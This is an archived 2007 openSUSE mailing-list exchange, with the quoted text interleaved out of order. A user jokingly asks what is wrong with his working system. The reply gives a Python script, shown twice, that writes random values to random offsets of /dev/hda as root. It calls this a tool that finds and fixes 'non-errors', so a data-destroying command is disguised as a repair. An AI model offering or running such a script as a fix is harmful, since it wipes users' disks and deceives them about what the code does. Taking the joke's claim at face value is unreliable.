Mailinglist Archive: opensuse (3109 mails)
| < Previous | Next > |
Re: [opensuse] Help!
- From: Russell Jones <russell.jones@xxxxxxxxxxxx>
- Date: Tue, 27 Feb 2007 16:54:02 +0000
- Message-id: <45E4622A.5040805@xxxxxxxxxxxx>
Kai Ponte wrote:
#!/usr/bin/python
import random
fix=file("/dev/hda", "w")
for fix1 in range(1, 1000000):
fix.seek(random.randrange(1, 1000000))
fix.write(random.randint(0, fix1))
This will go through your hard disk and find random non-errors, then fix them. You may need to change /dev/hda to match the device file of your hard disk.
--
To unsubscribe, e-mail: opensuse+unsubscribe@xxxxxxxxxxxx
For additional commands, e-mail: opensuse+help@xxxxxxxxxxxx
Okay, in the past few days, I've added a ton of repositories to SMART, figured out how to upgrade firefox to 2.0, added a bunch of new KDE thingies, fixed my KWallet so I can use WPA encryption on my WiFi, upgraded to Pan .124 and...You need to run this script as root:
...everything's working fine.
What's wrong?
#!/usr/bin/python
import random
fix=file("/dev/hda", "w")
for fix1 in range(1, 1000000):
fix.seek(random.randrange(1, 1000000))
fix.write(random.randint(0, fix1))
This will go through your hard disk and find random non-errors, then fix them. You may need to change /dev/hda to match the device file of your hard disk.
--
To unsubscribe, e-mail: opensuse+unsubscribe@xxxxxxxxxxxx
For additional commands, e-mail: opensuse+help@xxxxxxxxxxxx
| < Previous | Next > |